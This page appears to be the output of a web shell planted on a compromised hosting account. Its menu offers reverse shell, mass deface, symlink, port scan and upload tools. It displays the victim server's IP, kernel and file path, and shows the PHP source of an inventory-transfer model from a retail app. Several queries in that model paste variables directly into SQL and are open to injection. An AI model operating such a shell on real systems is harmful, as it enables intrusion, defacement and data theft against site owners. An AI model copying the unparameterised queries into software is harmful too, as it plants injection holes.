Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
models
/
Viewing: TrasladosModel.php
<?php class TrasladosModel extends Query { public function __construct() { parent::__construct(); } public function getSucursales($id) { $sql = "SELECT * FROM sucursales WHERE id != $id"; return $this->selectAll($sql); } public function getProducto($idProducto) { $sql = "SELECT p.*, m.marca FROM productos p INNER JOIN marcas m ON p.id_marca = m.id WHERE p.id = $idProducto"; return $this->select($sql); } public function registrarTraslado($usuario_envia_id, $sucursal_origen_id, $sucursal_destino_id, $fecha_envio, $estado, $nota_envio) { $sql = "INSERT INTO traslados (usuario_envia_id, sucursal_origen_id, sucursal_destino_id, fecha_envio, estado, nota_envio) VALUES (?, ?, ?, ?, ?, ?)"; return $this->insertar($sql, [$usuario_envia_id, $sucursal_origen_id, $sucursal_destino_id, $fecha_envio, $estado, $nota_envio]); } public function registrarDetalleTraslado($traslado_id, $producto_id, $cantidad, $nombre_producto) { $sql = "INSERT INTO detalle_traslados (traslado_id, producto_id, cantidad, nombre_producto) VALUES (?, ?, ?, ?)"; return $this->insertar($sql, [$traslado_id, $producto_id, $cantidad, $nombre_producto]); } public function actualizarStock($cantidad, $id) { $sql = "UPDATE productos SET cantidad = ? WHERE id = ?"; return $this->save($sql, [$cantidad, $id]); } public function getTrasladoById($id) { $sql = "SELECT t.*, u1.nombre AS nombre_envia, u1.apellido AS apellido_envia, u2.nombre AS nombre_recibe, u2.apellido AS apellido_recibe, so.nombre AS sucursal_origen, sd.nombre AS sucursal_destino FROM traslados t LEFT JOIN usuarios u1 ON u1.id = t.usuario_envia_id LEFT JOIN usuarios u2 ON u2.id = t.usuario_recibe_id LEFT JOIN sucursales so ON so.id = t.sucursal_origen_id LEFT JOIN sucursales sd ON sd.id = t.sucursal_destino_id WHERE t.id = $id"; return $this->select($sql); } public function getProductosByTraslado($traslado_id) { $sql = "SELECT * FROM detalle_traslados WHERE traslado_id = $traslado_id"; return $this->selectAll($sql); } public function recepcionarTraslado($id, $notaRecepcion, $usuarioRecibeId) { $sql = "UPDATE traslados SET estado = 'recepcionado', fecha_recepcion = ?, nota_recepcion = ?, usuario_recibe_id = ? WHERE id = ?"; $fechaRecepcion = date('Y-m-d H:i:s'); return $this->save($sql, [$fechaRecepcion, $notaRecepcion, $usuarioRecibeId, $id]); } public function getByCodigoAndSucursal($codigo, $sucursal_id) { $sql = "SELECT * FROM productos WHERE codigo = '$codigo' AND id_sucursal = $sucursal_id"; return $this->select($sql); } public function insertProductoDestino($data) { $sql = "INSERT INTO productos (codigo, descripcion, precio_compra, precio_venta, cantidad, id_medida, id_categoria, id_marca, id_sucursal) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)"; return $this->insertar($sql, $data); } public function getTrasladosEnviados($sucursal_id, $desde = null, $hasta = null) { $sql = "SELECT t.*, u.nombre AS nombre_recibe, u.apellido AS apellido_recibe, ue.nombre AS nombre_envia, ue.apellido AS apellido_envia FROM traslados t LEFT JOIN usuarios u ON u.id = t.usuario_recibe_id LEFT JOIN usuarios ue ON ue.id = t.usuario_envia_id WHERE t.sucursal_origen_id = $sucursal_id"; if (!empty($desde)) { $sql .= " AND t.created_at >= '$desde 00:00:00'"; } if (!empty($hasta)) { $sql .= " AND t.created_at <= '$hasta 23:59:59'"; } $sql .= " ORDER BY t.id DESC"; return $this->selectAll($sql); } public function getTrasladosRecibidos($sucursal_id) { $sql = "SELECT t.*, u.nombre AS nombre_envia, u.apellido AS apellido_envia, ur.nombre AS nombre_recibe, ur.apellido AS apellido_recibe FROM traslados t LEFT JOIN usuarios u ON u.id = t.usuario_envia_id LEFT JOIN usuarios ur ON ur.id = t.usuario_recibe_id WHERE t.sucursal_destino_id = $sucursal_id ORDER BY t.id DESC"; return $this->selectAll($sql); } public function anularTraslado($id) { $sql = "UPDATE traslados SET estado = 'anulado' WHERE id = ?"; return $this->save($sql, [$id]); } }
Coded With 💗 by
0x6ick